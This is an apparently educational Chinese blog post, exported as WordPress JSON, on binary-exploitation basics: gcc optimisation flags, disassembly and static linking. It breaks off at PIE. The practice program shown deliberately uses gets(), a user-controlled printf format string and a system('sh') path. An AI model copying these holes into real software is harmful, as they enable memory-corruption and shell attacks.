{"id":179,"date":"2022-06-16T01:55:01","date_gmt":"2022-06-15T17:55:01","guid":{"rendered":"http:\/\/162.14.82.114\/?p=179"},"modified":"2022-06-16T01:56:06","modified_gmt":"2022-06-15T17:56:06","slug":"pwn%e4%b8%80%e4%ba%9b%e8%b6%85%e7%ba%a7%e5%9f%ba%e7%a1%80%e6%80%a7%e7%9a%84%e7%9f%a5%e8%af%86","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/179\/06\/16\/2022\/","title":{"rendered":"pwn\u4e00\u4e9b\u8d85\u7ea7\u57fa\u7840\u6027\u7684\u77e5\u8bc6"},"content":{"rendered":"<h1>gcc -o<\/h1>\n<blockquote>\n<p>gcc -O1\/O2\/O3<\/p>\n<p><code>-O\uff0c-O1\uff1a\u8fd9\u4e24\u4e2a\u547d\u4ee4\u7684\u6548\u679c\u662f\u4e00\u6837\u7684\uff0c\u76ee\u7684\u90fd\u662f\u5728\u4e0d\u5f71\u54cd\u7f16\u8bd1\u901f\u5ea6\u7684\u524d\u63d0\u4e0b\uff0c\u5c3d\u91cf\u91c7\u7528\u4e00\u4e9b\u4f18\u5316\u7b97\u6cd5\u964d\u4f4e\u4ee3\u7801\u5927\u5c0f\u548c\u53ef\u6267\u884c\u4ee3\u7801\u7684\u8fd0\u884c\u901f\u5ea6\u3002<\/code><\/p>\n<p><code> -O2\u8be5\u4f18\u5316\u9009\u9879\u4f1a\u727a\u7272\u90e8\u5206\u7f16\u8bd1\u901f\u5ea6\uff0c\u9664\u4e86\u6267\u884c-O1\u6240\u6267\u884c\u7684\u6240\u6709\u4f18\u5316\u4e4b\u5916\uff0c\u8fd8\u4f1a\u91c7\u7528\u51e0\u4e4e\u6240\u6709\u7684\u76ee\u6807\u914d\u7f6e\u652f\u6301\u7684\u4f18\u5316\u7b97\u6cd5\uff0c\u7528\u4ee5\u63d0\u9ad8\u76ee\u6807\u4ee3\u7801\u7684\u8fd0\u884c\u901f\u5ea6\u3002<\/code><\/p>\n<p><code>-O3\u8be5\u9009\u9879\u9664\u4e86\u6267\u884c-O2\u6240\u6709\u7684\u4f18\u5316\u9009\u9879\u4e4b\u5916\uff0c\u4e00\u822c\u90fd\u662f\u91c7\u53d6\u5f88\u591a\u5411\u91cf\u5316\u7b97\u6cd5\uff0c\u63d0\u9ad8\u4ee3\u7801\u7684\u5e76\u884c\u6267\u884c\u7a0b\u5ea6\uff0c\u5229\u7528\u73b0\u4ee3CPU\u4e2d\u7684\u6d41\u6c34\u7ebf\uff0cCache\u7b49\u3002<\/code><\/p>\n<p><code>-Os\u8fd9\u4e2a\u4f18\u5316\u6807\u8bc6\u548c-O3\u6709\u5f02\u66f2\u540c\u5de5\u4e4b\u5999\uff0c\u5f53\u7136\u4e24\u8005\u7684\u76ee\u6807\u4e0d\u4e00\u6837\uff0c-O3\u7684\u76ee\u6807\u662f\u5b81\u613f\u589e\u52a0\u76ee\u6807\u4ee3\u7801\u7684\u5927\u5c0f\uff0c\u4e5f\u8981\u62fc\u547d\u7684\u63d0\u9ad8\u8fd0\u884c\u901f\u5ea6\uff0c\u4f46\u662f\u8fd9\u4e2a\u9009\u9879\u662f\u5728-O2\u7684\u57fa\u7840\u4e4b\u4e0a\uff0c\u5c3d\u91cf\u7684\u964d\u4f4e\u76ee\u6807\u4ee3\u7801\u7684\u5927\u5c0f\uff0c\u8fd9\u5bf9\u4e8e\u5b58\u50a8\u5bb9\u91cf\u5f88\u5c0f\u7684\u8bbe\u5907\u6765\u8bf4\u975e\u5e38\u91cd\u8981\u3002<\/code><\/p>\n<p><code>Ofast:\u8be5\u9009\u9879\u5c06\u4e0d\u4f1a\u4e25\u683c\u9075\u5faa\u8bed\u8a00\u6807\u51c6\uff0c\u9664\u4e86\u542f\u7528\u6240\u6709\u7684-O3\u4f18\u5316\u9009\u9879\u4e4b\u5916\uff0c\u4e5f\u4f1a\u9488\u5bf9\u67d0\u4e9b\u8bed\u8a00\u542f\u7528\u90e8\u5206\u4f18\u5316\u3002<\/code><\/p>\n<p><code>-Og:\u8be5\u6807\u8bc6\u4f1a\u7cbe\u5fc3\u6311\u9009\u90e8\u5206\u4e0e-g\u9009\u9879\u4e0d\u51b2\u7a81\u7684\u4f18\u5316\u9009\u9879\uff0c\u5f53\u7136\u5c31\u80fd\u63d0\u4f9b\u5408\u7406\u7684\u4f18\u5316\u6c34\u5e73\uff0c\u540c\u65f6\u4ea7\u751f\u8f83\u597d\u7684\u53ef\u8c03\u8bd5\u4fe1\u606f\u548c\u5bf9\u8bed\u8a00\u6807\u51c6\u7684\u9075\u5faa\u7a0b\u5ea6<\/code><\/p>\n<p>\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003<a href=\"https:\/\/www.zhihu.com\/question\/27090458\">GCC\u4e2d-O1 -O2 -O3 \u4f18\u5316\u7684\u539f\u7406\u662f\u4ec0\u4e48\uff1f - \u77e5\u4e4e (zhihu.com)<\/a>                                                                                                                                   <\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_1$ gcc question_1.c -O3 -o question_1_x64_O3\nquestion_1.c: In function \u2018main\u2019:\nquestion_1.c:22:2: warning: implicit declaration of function \u2018gets\u2019; did you mean \u2018fgets\u2019? [-Wimplicit-function-declaration]\n  gets(a);\n  ^~~~\n  fgets\nquestion_1.c:23:9: warning: format not a string literal and no format arguments [-Wformat-security]\n  printf(a);\n         ^\nquestion_1.c: In function \u2018func\u2019:\nquestion_1.c:13:2: warning: ignoring return value of \u2018system\u2019, declared with attribute warn_unused_result [-Wunused-result]\n  system(cmd);\n  ^~~~~~~~~~~\n\/tmp\/ccysfJzi.o: In function `main&#039;:\nquestion_1.c:(.text.startup+0x32): warning: the `gets&#039; function is dangerous and should not be used.\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_1$ objdump -d question_1_x64_O3 -M intel |less\nquestion_1_x64_O3:     file format elf64-x86-64\nDisassembly of section .init:\n0000000000000708 &lt;_init&gt;:\n 708:   48 83 ec 08             sub    rsp,0x8\n 70c:   48 8b 05 d5 08 20 00    mov    rax,QWORD PTR [rip+0x2008d5]        # 200fe8 &lt;__gmon_start__&gt;\n 713:   48 85 c0                test   rax,rax\n 716:   74 02                   je     71a &lt;_init+0x12&gt;\n 718:   ff d0                   call   rax\n 71a:   48 83 c4 08             add    rsp,0x8\n 71e:   c3                      ret\n\nDisassembly of section .plt:\n\n0000000000000720 &lt;.plt&gt;:\n 720:   ff 35 72 08 20 00       push   QWORD PTR [rip+0x200872]        # 200f98 &lt;_GLOBAL_OFFSET_TABLE_+0x8&gt;\n 726:   ff 25 74 08 20 00       jmp    QWORD PTR [rip+0x200874]        # 200fa0 &lt;_GLOBAL_OFFSET_TABLE_+0x10&gt;\n 72c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]\n\n0000000000000730 &lt;puts@plt&gt;:\n 730:   ff 25 72 08 20 00       jmp    QWORD PTR [rip+0x200872]        # 200fa8 &lt;puts@GLIBC_2.2.5&gt;\n 736:   68 00 00 00 00          push   0x0\n 73b:   e9 e0 ff ff ff          jmp    720 &lt;.plt&gt;\n\n0000000000000740 &lt;__stack_chk_fail@plt&gt;:\n 740:   ff 25 6a 08 20 00       jmp    QWORD PTR [rip+0x20086a]        # 200fb0 &lt;__stack_chk_fail@GLIBC_2.4&gt;\n 746:   68 01 00 00 00          push   0x1\n 74b:   e9 d0 ff ff ff          jmp    720 &lt;.plt&gt;\n\n0000000000000750 &lt;system@plt&gt;:\n 750:   ff 25 62 08 20 00       jmp    QWORD PTR [rip+0x200862]        # 200fb8 &lt;system@GLIBC_2.2.5&gt;\n 756:   68 02 00 00 00          push   0x2\n 75b:   e9 c0 ff ff ff          jmp    720 &lt;.plt&gt;\n\n0000000000000760 &lt;gets@plt&gt;:\n 760:   ff 25 5a 08 20 00       jmp    QWORD PTR [rip+0x20085a]        # 200fc0 &lt;gets@GLIBC_2.2.5&gt;\n 766:   68 03 00 00 00          push   0x3\n 76b:   e9 b0 ff ff ff          jmp    720 &lt;.plt&gt;\n\n0000000000000770 &lt;__printf_chk@plt&gt;:\n 770:   ff 25 52 08 20 00       jmp    QWORD PTR [rip+0x200852]        # 200fc8 &lt;__printf_chk@GLIBC_2.3.4&gt;\n 776:   68 04 00 00 00          push   0x4\n 77b:   e9 a0 ff ff ff          jmp    720 &lt;.plt&gt;\n\n0000000000000780 &lt;setvbuf@plt&gt;:\n 780:   ff 25 4a 08 20 00       jmp    QWORD PTR [rip+0x20084a]        # 200fd0 &lt;setvbuf@GLIBC_2.2.5&gt;\n 786:   68 05 00 00 00          push   0x5\n 78b:   e9 90 ff ff ff          jmp    720 &lt;.plt&gt;\n\nDisassembly of section .plt.got:\n\n0000000000000790 &lt;__cxa_finalize@plt&gt;:\n 790:   ff 25 62 08 20 00       jmp    QWORD PTR [rip+0x200862]        # 200ff8 &lt;__cxa_finalize@GLIBC_2.2.5&gt;\n 796:   66 90                   xchg   ax,ax\n\nDisassembly of section .text:\n\n00000000000007a0 &lt;main&gt;:\n 7a0:   53                      push   rbx\n 7a1:   48 8d 3d 5c 02 00 00    lea    rdi,[rip+0x25c]        # a04 &lt;_IO_stdin_used+0x4&gt;\n 7a8:   48 83 ec 10             sub    rsp,0x10\n 7ac:   48 89 e3                mov    rbx,rsp\n 7af:   48 c7 04 24 00 00 00    mov    QWORD PTR [rsp],0x0\n 7b6:   00\n 7b7:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28\n 7be:   00 00\n 7c0:   48 89 44 24 08          mov    QWORD PTR [rsp+0x8],rax\n 7c5:   31 c0                   xor    eax,eax\n 7c7:   e8 64 ff ff ff          call   730 &lt;puts@plt&gt;\n 7cc:   48 89 df                mov    rdi,rbx\n 7cf:   31 c0                   xor    eax,eax\n 7d1:   e8 8a ff ff ff          call   760 &lt;gets@plt&gt;\n 7d6:   31 c0                   xor    eax,eax\n 7d8:   48 89 de                mov    rsi,rbx\n 7db:   bf 01 00 00 00          mov    edi,0x1\n 7e0:   e8 8b ff ff ff          call   770 &lt;__printf_chk@plt&gt;\n 7e5:   48 8b 54 24 08          mov    rdx,QWORD PTR [rsp+0x8]\n 7ea:   64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28\n 7f1:   00 00\n 7f3:   75 08                   jne    7fd &lt;main+0x5d&gt;\n 7f5:   48 83 c4 10             add    rsp,0x10\n 7f9:   31 c0                   xor    eax,eax\n 7fb:   5b                      pop    rbx\n 7fc:   c3                      ret\n 7fd:   e8 3e ff ff ff          call   740 &lt;__stack_chk_fail@plt&gt;\n 802:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 809:   00 00 00\n 80c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]\n\n0000000000000810 &lt;_start&gt;:\n 810:   31 ed                   xor    ebp,ebp\n 812:   49 89 d1                mov    r9,rdx\n 815:   5e                      pop    rsi\n 816:   48 89 e2                mov    rdx,rsp\n 819:   48 83 e4 f0             and    rsp,0xfffffffffffffff0\n 81d:   50                      push   rax\n 81e:   54                      push   rsp\n 81f:   4c 8d 05 ca 01 00 00    lea    r8,[rip+0x1ca]        # 9f0 &lt;__libc_csu_fini&gt;\n 826:   48 8d 0d 53 01 00 00    lea    rcx,[rip+0x153]        # 980 &lt;__libc_csu_init&gt;\n 82d:   48 8d 3d 6c ff ff ff    lea    rdi,[rip+0xffffffffffffff6c]        # 7a0 &lt;main&gt;\n 834:   ff 15 a6 07 20 00       call   QWORD PTR [rip+0x2007a6]        # 200fe0 &lt;__libc_start_main@GLIBC_2.2.5&gt;\n 83a:   f4                      hlt\n 83b:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]\n\n0000000000000840 &lt;deregister_tm_clones&gt;:\n 840:   48 8d 3d d1 07 20 00    lea    rdi,[rip+0x2007d1]        # 201018 &lt;__TMC_END__&gt;\n 847:   55                      push   rbp\n 848:   48 8d 05 c9 07 20 00    lea    rax,[rip+0x2007c9]        # 201018 &lt;__TMC_END__&gt;\n 84f:   48 39 f8                cmp    rax,rdi\n 852:   48 89 e5                mov    rbp,rsp\n 855:   74 19                   je     870 &lt;deregister_tm_clones+0x30&gt;\n 857:   48 8b 05 7a 07 20 00    mov    rax,QWORD PTR [rip+0x20077a]        # 200fd8 &lt;_ITM_deregisterTMCloneTable&gt;\n 85e:   48 85 c0                test   rax,rax\n 861:   74 0d                   je     870 &lt;deregister_tm_clones+0x30&gt;\n 863:   5d                      pop    rbp\n 864:   ff e0                   jmp    rax\n 866:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 86d:   00 00 00\n 870:   5d                      pop    rbp\n 871:   c3                      ret\n 872:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]\n 876:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 87d:   00 00 00\n\n0000000000000880 &lt;register_tm_clones&gt;:\n 880:   48 8d 3d 91 07 20 00    lea    rdi,[rip+0x200791]        # 201018 &lt;__TMC_END__&gt;\n 887:   48 8d 35 8a 07 20 00    lea    rsi,[rip+0x20078a]        # 201018 &lt;__TMC_END__&gt;\n 88e:   55                      push   rbp\n 88f:   48 29 fe                sub    rsi,rdi\n 892:   48 89 e5                mov    rbp,rsp\n 895:   48 c1 fe 03             sar    rsi,0x3\n 899:   48 89 f0                mov    rax,rsi\n 89c:   48 c1 e8 3f             shr    rax,0x3f\n 8a0:   48 01 c6                add    rsi,rax\n 8a3:   48 d1 fe                sar    rsi,1\n 8a6:   74 18                   je     8c0 &lt;register_tm_clones+0x40&gt;\n 8a8:   48 8b 05 41 07 20 00    mov    rax,QWORD PTR [rip+0x200741]        # 200ff0 &lt;_ITM_registerTMCloneTable&gt;\n 8af:   48 85 c0                test   rax,rax\n 8b2:   74 0c                   je     8c0 &lt;register_tm_clones+0x40&gt;\n 8b4:   5d                      pop    rbp\n 8b5:   ff e0                   jmp    rax\n 8b7:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]\n 8be:   00 00\n 8c0:   5d                      pop    rbp\n 8c1:   c3                      ret\n 8c2:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]\n 8c6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 8cd:   00 00 00\n\n00000000000008d0 &lt;__do_global_dtors_aux&gt;:\n 8d0:   80 3d 71 07 20 00 00    cmp    BYTE PTR [rip+0x200771],0x0        # 201048 &lt;completed.7698&gt;\n 8d7:   75 2f                   jne    908 &lt;__do_global_dtors_aux+0x38&gt;\n 8d9:   48 83 3d 17 07 20 00    cmp    QWORD PTR [rip+0x200717],0x0        # 200ff8 &lt;__cxa_finalize@GLIBC_2.2.5&gt;\n 8e0:   00\n 8e1:   55                      push   rbp\n 8e2:   48 89 e5                mov    rbp,rsp\n 8e5:   74 0c                   je     8f3 &lt;__do_global_dtors_aux+0x23&gt;\n 8e7:   48 8b 3d 1a 07 20 00    mov    rdi,QWORD PTR [rip+0x20071a]        # 201008 &lt;__dso_handle&gt;\n 8ee:   e8 9d fe ff ff          call   790 &lt;__cxa_finalize@plt&gt;\n 8f3:   e8 48 ff ff ff          call   840 &lt;deregister_tm_clones&gt;\n 8f8:   c6 05 49 07 20 00 01    mov    BYTE PTR [rip+0x200749],0x1        # 201048 &lt;completed.7698&gt;\n 8ff:   5d                      pop    rbp\n 900:   c3                      ret\n 901:   0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]\n 908:   f3 c3                   repz ret\n 90a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]\n\n0000000000000910 &lt;frame_dummy&gt;:\n 910:   55                      push   rbp\n 911:   48 89 e5                mov    rbp,rsp\n 914:   5d                      pop    rbp\n 915:   e9 66 ff ff ff          jmp    880 &lt;register_tm_clones&gt;\n 91a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]\n\n0000000000000920 &lt;init_func&gt;:\n 920:   48 83 ec 08             sub    rsp,0x8\n 924:   48 8b 3d 05 07 20 00    mov    rdi,QWORD PTR [rip+0x200705]        # 201030 &lt;stdin@@GLIBC_2.2.5&gt;\n 92b:   31 c9                   xor    ecx,ecx\n 92d:   ba 02 00 00 00          mov    edx,0x2\n 932:   31 f6                   xor    esi,esi\n 934:   e8 47 fe ff ff          call   780 &lt;setvbuf@plt&gt;\n 939:   48 8b 3d e0 06 20 00    mov    rdi,QWORD PTR [rip+0x2006e0]        # 201020 &lt;stdout@@GLIBC_2.2.5&gt;\n 940:   31 c9                   xor    ecx,ecx\n 942:   ba 02 00 00 00          mov    edx,0x2\n 947:   31 f6                   xor    esi,esi\n 949:   e8 32 fe ff ff          call   780 &lt;setvbuf@plt&gt;\n 94e:   48 8b 3d eb 06 20 00    mov    rdi,QWORD PTR [rip+0x2006eb]        # 201040 &lt;stderr@@GLIBC_2.2.5&gt;\n 955:   31 c9                   xor    ecx,ecx\n 957:   ba 02 00 00 00          mov    edx,0x2\n 95c:   31 f6                   xor    esi,esi\n 95e:   e8 1d fe ff ff          call   780 &lt;setvbuf@plt&gt;\n 963:   31 c0                   xor    eax,eax\n 965:   48 83 c4 08             add    rsp,0x8\n 969:   c3                      ret\n 96a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]\n\n0000000000000970 &lt;func&gt;:\n 970:   48 83 ec 08             sub    rsp,0x8\n 974:   e8 d7 fd ff ff          call   750 &lt;system@plt&gt;\n 979:   31 c0                   xor    eax,eax\n 97b:   48 83 c4 08             add    rsp,0x8\n 97f:   c3                      ret\n\n0000000000000980 &lt;__libc_csu_init&gt;:\n 980:   41 57                   push   r15\n 982:   41 56                   push   r14\n 984:   49 89 d7                mov    r15,rdx\n 987:   41 55                   push   r13\n 989:   41 54                   push   r12\n 98b:   4c 8d 25 fe 03 20 00    lea    r12,[rip+0x2003fe]        # 200d90 &lt;__frame_dummy_init_array_entry&gt;\n 992:   55                      push   rbp\n 993:   48 8d 2d fe 03 20 00    lea    rbp,[rip+0x2003fe]        # 200d98 &lt;__init_array_end&gt;\n 99a:   53                      push   rbx\n 99b:   41 89 fd                mov    r13d,edi\n 99e:   49 89 f6                mov    r14,rsi\n 9a1:   4c 29 e5                sub    rbp,r12\n 9a4:   48 83 ec 08             sub    rsp,0x8\n 9a8:   48 c1 fd 03             sar    rbp,0x3\n 9ac:   e8 57 fd ff ff          call   708 &lt;_init&gt;\n 9b1:   48 85 ed                test   rbp,rbp\n 9b4:   74 20                   je     9d6 &lt;__libc_csu_init+0x56&gt;\n 9b6:   31 db                   xor    ebx,ebx\n 9b8:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]\n 9bf:   00\n 9c0:   4c 89 fa                mov    rdx,r15\n 9c3:   4c 89 f6                mov    rsi,r14\n 9c6:   44 89 ef                mov    edi,r13d\n 9c9:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]\n 9cd:   48 83 c3 01             add    rbx,0x1\n 9d1:   48 39 dd                cmp    rbp,rbx\n 9d4:   75 ea                   jne    9c0 &lt;__libc_csu_init+0x40&gt;\n 9d6:   48 83 c4 08             add    rsp,0x8\n 9da:   5b                      pop    rbx\n 9db:   5d                      pop    rbp\n 9dc:   41 5c                   pop    r12\n 9de:   41 5d                   pop    r13\n 9e0:   41 5e                   pop    r14\n 9e2:   41 5f                   pop    r15\n 9e4:   c3                      ret\n 9e5:   90                      nop\n 9e6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 9ed:   00 00 00\n\n00000000000009f0 &lt;__libc_csu_fini&gt;:\n 9f0:   f3 c3                   repz ret\n\nDisassembly of section .fini:\n\n00000000000009f4 &lt;_fini&gt;:\n 9f4:   48 83 ec 08             sub    rsp,0x8\n 9f8:   48 83 c4 08             add    rsp,0x8\n 9fc:   c3                      ret\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_1$ .\/question_1_x64_O3\ninput:\naaaaaaaaaaaaaaa\n*** stack smashing detected ***: &lt;unknown&gt; terminated\nAborted<\/code><\/pre>\n<p><code>gcc -O3<\/code>\u9ed8\u8ba4\u5c06\u4e0d\u53ef\u80fd\u6267\u884c\u7684\u5185\u5bb9\u76f4\u63a5\u5220\u9664\u4e86\uff0c\u6240\u4ee5\u65e0\u6cd5\u6267\u884cshell<\/p>\n<h1>static<\/h1>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ ls\nquestion_1.c\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ gcc question_1.c\nquestion_1.c: In function \u2018main\u2019:\nquestion_1.c:22:2: warning: implicit declaration of function \u2018gets\u2019; did you mean \u2018fgets\u2019? [-Wimplicit-function-declaration]\n  gets(a);\n  ^~~~\n  fgets\nquestion_1.c:23:9: warning: format not a string literal and no format arguments [-Wformat-security]\n  printf(a);\n         ^\n\/tmp\/ccU59NVv.o: In function `main&#039;:\nquestion_1.c:(.text+0xc4): warning: the `gets&#039; function is dangerous and should not be used.\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ gcc question_1.c -static -o question_1_x64_static\nquestion_1.c: In function \u2018main\u2019:\nquestion_1.c:22:2: warning: implicit declaration of function \u2018gets\u2019; did you mean \u2018fgets\u2019? [-Wimplicit-function-declaration]\n  gets(a);\n  ^~~~\n  fgets\nquestion_1.c:23:9: warning: format not a string literal and no format arguments [-Wformat-security]\n  printf(a);\n         ^\n\/tmp\/ccS7KXgP.o: In function `main&#039;:\nquestion_1.c:(.text+0xc4): warning: the `gets&#039; function is dangerous and should not be used.\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ ls\na.out  question_1.c  question_1_x64_static\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ file a.out\na.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=89a75bb48f86071b8e7a8066be9f400348d5e184, not stripped\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ file question_1_x64_static\nquestion_1_x64_static: ELF 64-bit LSB executable, x86-64, version 1 (GNU\/Linux), statically linked, for GNU\/Linux 3.2.0, BuildID[sha1]=9d9740dc1b64a1dda55f20df2c02af26eaf10793, not stripped\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ ldd a.out\n        linux-vdso.so.1 (0x00007ffeee7ed000)\n        libc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007fdaf2dcd000)\n        \/lib64\/ld-linux-x86-64.so.2 (0x00007fdaf33c0000)\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ ldd question_1_x64_static\n        not a dynamic executable\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ ll -h\ntotal 844K\ndrwxrwxrwx 1 hack hack 4.0K Jun 14 13:31 .\/\ndrwxrwxrwx 1 hack hack 4.0K Jun 10 17:53 ..\/\n-rwxrwxrwx 1 hack hack 8.6K Jun 14 13:30 a.out*\n-rwxrwxrwx 1 hack hack  409 Jun 10 17:53 question_1.c*\n-rwxrwxrwx 1 hack hack 831K Jun 14 13:31 question_1_x64_static*<\/code><\/pre>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ objdump -d question_1_x64_static  -M intel |less\n#\u53ea\u622a\u53d6\u4e86main\uff0c\u548c\u4e0b\u9762\u5bf9\u6bd4\u4e00\u4e0b\uff1a\n0000000000400bf1 &lt;main&gt;:\n  400bf1:       55                      push   rbp\n  400bf2:       48 89 e5                mov    rbp,rsp\n  400bf5:       48 83 ec 20             sub    rsp,0x20\n  400bf9:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28\n  400c00:       00 00\n  400c02:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n  400c06:       31 c0                   xor    eax,eax\n  400c08:       48 c7 45 e8 00 00 00    mov    QWORD PTR [rbp-0x18],0x0\n  400c0f:       00\n  400c10:       48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x0\n  400c17:       00\n  400c18:       48 8d 3d a5 21 09 00    lea    rdi,[rip+0x921a5]        # 492dc4 &lt;_IO_stdin_used+0x4&gt;\n  400c1f:       e8 fc fd 00 00          call   410a20 &lt;_IO_puts&gt;\n  400c24:       48 8d 45 e8             lea    rax,[rbp-0x18]\n  400c28:       48 89 c7                mov    rdi,rax\n  400c2b:       b8 00 00 00 00          mov    eax,0x0\n  400c30:       e8 3b fc 00 00          call   410870 &lt;_IO_gets&gt;\n  400c35:       48 8d 45 e8             lea    rax,[rbp-0x18]\n  400c39:       48 89 c7                mov    rdi,rax\n  400c3c:       b8 00 00 00 00          mov    eax,0x0\n  400c41:       e8 aa ef 00 00          call   40fbf0 &lt;_IO_printf&gt;\n  400c46:       0f b6 45 f0             movzx  eax,BYTE PTR [rbp-0x10]\n  400c4a:       3c 61                   cmp    al,0x61\n  400c4c:       75 0c                   jne    400c5a &lt;main+0x69&gt;\n  400c4e:       48 8d 3d 9b 94 2b 00    lea    rdi,[rip+0x2b949b]        # 6ba0f0 &lt;sh&gt;\n  400c55:       e8 78 ff ff ff          call   400bd2 &lt;func&gt;\n  400c5a:       b8 00 00 00 00          mov    eax,0x0\n  400c5f:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]\n  400c63:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28\n  400c6a:       00 00\n  400c6c:       74 05                   je     400c73 &lt;main+0x82&gt;\n  400c6e:       e8 4d b2 04 00          call   44bec0 &lt;__stack_chk_fail&gt;\n  400c73:       c9                      leave\n  400c74:       c3                      ret\n  400c75:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n  400c7c:       00 00 00\n  400c7f:       90                      nop\n hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ objdump -d a.out  -M intel |less\n 000000000000090e &lt;main&gt;:\n 90e:   55                      push   rbp\n 90f:   48 89 e5                mov    rbp,rsp\n 912:   48 83 ec 20             sub    rsp,0x20\n 916:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28\n 91d:   00 00\n 91f:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n 923:   31 c0                   xor    eax,eax\n 925:   48 c7 45 e8 00 00 00    mov    QWORD PTR [rbp-0x18],0x0\n 92c:   00\n 92d:   48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x0\n 934:   00\n 935:   48 8d 3d e8 00 00 00    lea    rdi,[rip+0xe8]        # a24 &lt;_IO_stdin_used+0x4&gt;\n 93c:   e8 cf fd ff ff          call   710 &lt;puts@plt&gt;\n 941:   48 8d 45 e8             lea    rax,[rbp-0x18]\n 945:   48 89 c7                mov    rdi,rax\n 948:   b8 00 00 00 00          mov    eax,0x0\n 94d:   e8 fe fd ff ff          call   750 &lt;gets@plt&gt;\n 952:   48 8d 45 e8             lea    rax,[rbp-0x18]\n 956:   48 89 c7                mov    rdi,rax\n 959:   b8 00 00 00 00          mov    eax,0x0\n 95e:   e8 dd fd ff ff          call   740 &lt;printf@plt&gt;\n 963:   0f b6 45 f0             movzx  eax,BYTE PTR [rbp-0x10]\n 967:   3c 61                   cmp    al,0x61\n 969:   75 0c                   jne    977 &lt;main+0x69&gt;\n 96b:   48 8d 3d 9e 06 20 00    lea    rdi,[rip+0x20069e]        # 201010 &lt;sh&gt;\n 972:   e8 78 ff ff ff          call   8ef &lt;func&gt;\n 977:   b8 00 00 00 00          mov    eax,0x0\n 97c:   48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]\n 980:   64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28\n 987:   00 00\n 989:   74 05                   je     990 &lt;main+0x82&gt;\n 98b:   e8 90 fd ff ff          call   720 &lt;__stack_chk_fail@plt&gt;\n 990:   c9                      leave\n 991:   c3                      ret\n 992:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 999:   00 00 00\n 99c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]<\/code><\/pre>\n<h1>no-pie<\/h1>\n<h2>\u57fa\u7840\u77e5\u8bc6<\/h2>\n<blockquote>\n<p>PIE(position-independent 